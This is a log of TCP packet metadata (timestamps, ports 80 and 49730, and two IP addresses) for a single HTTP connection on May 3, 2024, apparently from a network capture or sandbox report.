May 3, 2024 23:27:08.824297905 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:08.824316025 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:08.824476957 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:08.902751923 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:08.902769089 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:08.902832031 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:08.953016996 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:08.953063965 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:08.953224897 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:08.953265905 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:08.991136074 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:08.991182089 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:08.991328955 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:08.991372108 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:09.071547031 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:09.071607113 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:09.071618080 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:09.071660995 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:09.095127106 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:09.095261097 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:09.122246027 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:09.122304916 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:09.160412073 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:09.203000069 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:09.238692999 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:09.238814116 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:09.238862991 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:09.262795925 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:09.288830996 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:09.288882017 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:09.371898890 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:09.371920109 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:09.372104883 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:09.408377886 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:09.408395052 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:09.408452034 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:09.454025030 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:09.454041958 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:09.454195976 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:09.538522005 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:09.538705111 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:09.538754940 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:09.573406935 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:09.573426008 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:09.573477030 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:09.620457888 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:09.620479107 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:09.620492935 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:09.620553017 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:09.707530975 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:09.707551956 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:09.707607985 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:09.745228052 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:09.745250940 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:09.745304108 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:09.788566113 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:09.788584948 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:09.788624048 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:09.788655996 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:09.788685083 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:09.788733959 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:09.878072023 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:09.878094912 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:09.878164053 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:09.918113947 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:09.918131113 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:09.918190956 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:09.960077047 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:09.960093021 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:09.960186005 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:09.960202932 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:09.960442066 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:09.960496902 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:10.050537109 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:10.050553083 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:10.050630093 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:10.086323977 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:10.086381912 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:10.086436033 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:10.125684977 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:10.125709057 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:10.125755072 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:10.125768900 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:10.125808954 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:10.125849009 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:10.220577955 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:10.220598936 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:10.220665932 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:10.253626108 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:10.253716946 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:10.253773928 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:10.291172981 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:10.291254997 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:10.291300058 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:10.291310072 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:10.291352034 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:10.291390896 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:10.385874033 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:10.385946035 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:10.386010885 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:10.418785095 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:10.418807030 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:10.418869019 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:10.459341049 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:10.459398985 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:10.459451914 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:10.459477901 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:10.459495068 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:10.459537983 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:10.555743933 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:10.589416027 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:10.589432955 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:10.589467049 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:10.589504004 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:10.628918886 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:10.628941059 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:10.628952980 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:10.628978968 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:10.628983021 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:10.628994942 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:10.629014969 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:10.629036903 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:10.758836031 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:10.758907080 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:10.758943081 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:10.758985996 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:10.759027004 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:10.759067059 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:10.759135008 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:10.759176970 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:10.782381058 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:10.782448053 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:10.798424959 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:10.798516989 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:10.798563004 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:10.798593044 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:10.843591928 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:10.925340891 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:10.925367117 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:10.925414085 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:10.954771996 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:10.970693111 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:10.970756054 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:10.970820904 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:11.015470028 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:11.015595913 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:11.062335968 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:11.100378990 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:11.100398064 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:11.100447893 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:11.100502014 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:11.140469074 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:11.145967007 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:11.186754942 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:11.186944008 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:11.232146025 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:11.232214928 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:11.270180941 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:11.270258904 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:11.270333052 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:11.309253931 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:11.309293032 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:11.309308052 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:11.309334040 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:11.359044075 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:11.359129906 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:11.359251976 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:11.399458885 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:11.399527073 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:11.475713015 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:11.475847006 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:11.475981951 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:11.523773909 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:11.523817062 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:11.523860931 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:11.566380024 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:11.609225988 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:11.640917063 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:11.640938997 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:11.641088963 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:11.692064047 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:11.692078114 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:11.692140102 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:11.778614044 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:11.778630018 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:11.778692007 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:11.811824083 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:11.811841965 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:11.811904907 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:11.862474918 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:11.862540007 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:11.948160887 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:11.948246956 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:11.948302031 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:11.982197046 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:11.982240915 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:11.982291937 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:12.033328056 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:12.033381939 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:12.087945938 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:12.088005066 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:12.151972055 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:12.151994944 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:12.152040005 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:12.257482052 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:12.257539988 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:12.327603102 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:12.327677011 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:12.422236919 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:12.422317982 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:12.593867064 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:12.640475035 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:12.809304953 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:12.809324026 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:12.809386969 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:12.982429981 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:12.982446909 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:12.982461929 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:12.982486963 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:13.031089067 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:13.153318882 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:13.153340101 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:13.153381109 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:13.201062918 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:13.249850035 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:13.324908972 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:13.324954033 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:13.325011015 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:13.414446115 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:13.468610048 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:13.492840052 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:13.492885113 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:13.492933035 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:13.492975950 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:13.546721935 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:13.635669947 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:13.659048080 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:13.659086943 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:13.659111977 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:13.702991962 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:13.715267897 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:13.765482903 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:13.829736948 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:13.829788923 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:13.829842091 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:13.874965906 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:13.874984026 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:13.875027895 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:13.933831930 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:13.984221935 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:13.999955893 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:13.999972105 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:14.000036955 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:14.044923067 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:14.093602896 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:14.154387951 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:14.154445887 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:14.170500040 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:14.170532942 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:14.170584917 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:14.170607090 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:14.259322882 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:14.259404898 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:14.259434938 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:14.259480000 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:14.341521978 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:14.341609001 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:14.424850941 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:14.424901962 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:14.424931049 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:14.424968004 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:14.509121895 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:14.509191036 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:14.595671892 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:14.595689058 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:14.595763922 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:14.765803099 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:14.765886068 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:14.765958071 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:14.766006947 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:14.937107086 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:14.937135935 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:14.937180996 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:14.937218904 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:15.103935003 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:15.103950977 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:15.103991032 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:15.275774956 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:15.275866032 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:15.275872946 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:15.275949955 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:15.443301916 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:15.443324089 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:15.443387032 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:15.615159988 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:15.615231037 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:15.785418034 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:15.785486937 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:15.951035023 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:15.951057911 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:15.951114893 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:16.122965097 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:16.123301983 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:16.123363018 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:16.123387098 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:16.171719074 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:16.293302059 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:16.293745995 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:16.293801069 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:16.458509922 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:16.458604097 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:16.458736897 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:16.458787918 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:16.629174948 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:16.629256010 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:16.799932957 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:16.800019979 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:16.971307039 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:16.971402884 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:16.971455097 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:17.141294003 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:17.141309977 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:17.141321898 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:17.141364098 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:17.187351942 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:17.310523987 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:17.310596943 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:17.310647011 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:17.359059095 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:17.406105042 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:17.475687981 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:17.475780010 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:17.475830078 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:17.575912952 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:17.624891043 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:17.643959045 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:17.643975019 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:17.644027948 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:17.644057035 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:17.687488079 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:17.795556068 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:17.813826084 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:17.813886881 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:17.813893080 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:17.858218908 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:17.858391047 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:17.983690977 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:17.983727932 CEST	80	49730	185.164.163.18	192.168.2.4
